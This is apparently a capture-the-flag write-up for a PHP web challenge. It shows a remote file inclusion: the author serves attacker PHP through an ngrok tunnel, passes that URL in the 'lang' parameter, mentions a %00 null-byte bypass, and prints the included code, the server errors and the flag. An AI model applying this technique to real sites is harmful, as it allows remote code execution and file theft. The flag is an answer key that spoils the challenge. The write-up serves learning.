I set up an http server on my local machine using this line: python3 -m http.server 678 (port 678)

And then, I set ngrok tunnel, using this line: ngrok http 678 (port 678)

Now, let’s try and give this https://7a7fe756011a.ngrok-free.app/ (don’t forget / at the end)

?lang=https://7a7fe756011a.ngrok-free.app/

we get this error message:

Warning: include(https://7a7fe756011a.ngrok-free.app/_lang.php): failed to open stream: HTTP request failed! HTTP/1.0 404 Not Found
 in /challenge/web-serveur/ch13/index.php on line 18

Warning: include(): Failed opening 'https://7a7fe756011a.ngrok-free.app/_lang.php' for inclusion (include_path='.:/usr/share/php') in /challenge/web-serveur/ch13/index.php on line 18

So, let’s add our php code in this file _lang.php (notice we can also append %00 and then ignore _lang.php)

this will be our code:

<?php
    echo file_get_contents("index.php");
?>

Flag: R3m0t3_iS_r3aL1y_3v1l